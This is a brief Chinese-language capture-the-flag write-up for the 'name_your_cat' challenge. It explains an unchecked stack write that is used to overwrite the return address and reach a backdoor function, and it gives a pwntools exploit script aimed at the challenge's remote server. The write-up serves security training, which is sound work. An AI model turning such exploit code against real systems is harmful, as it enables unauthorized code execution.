image.png
    看上去有点吓人,还有cannary
    image.png
    关键在这个函数,这个写入逻辑没有加判断就很有问题。我们只要输入大一点的数就能往栈上写任何数据,所以我们只要调试出返回地址在哪我们就能实现getshell(程序中有后门函数)

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level='debug'
    4. #io = process('./wustctf2020_name_your_cat')
    5. io = remote('node4.buuoj.cn',26845)
    6. libc =ELF("libc-2.232.so")
    7. elf = ELF('./wustctf2020_name_your_cat')
    8. shell_addr =0x080485CB
    9. for i in range(5):
    10. io.sendline("7")
    11. payload = p32(shell_addr)
    12. io.sendline(payload)
    13. io.interactive()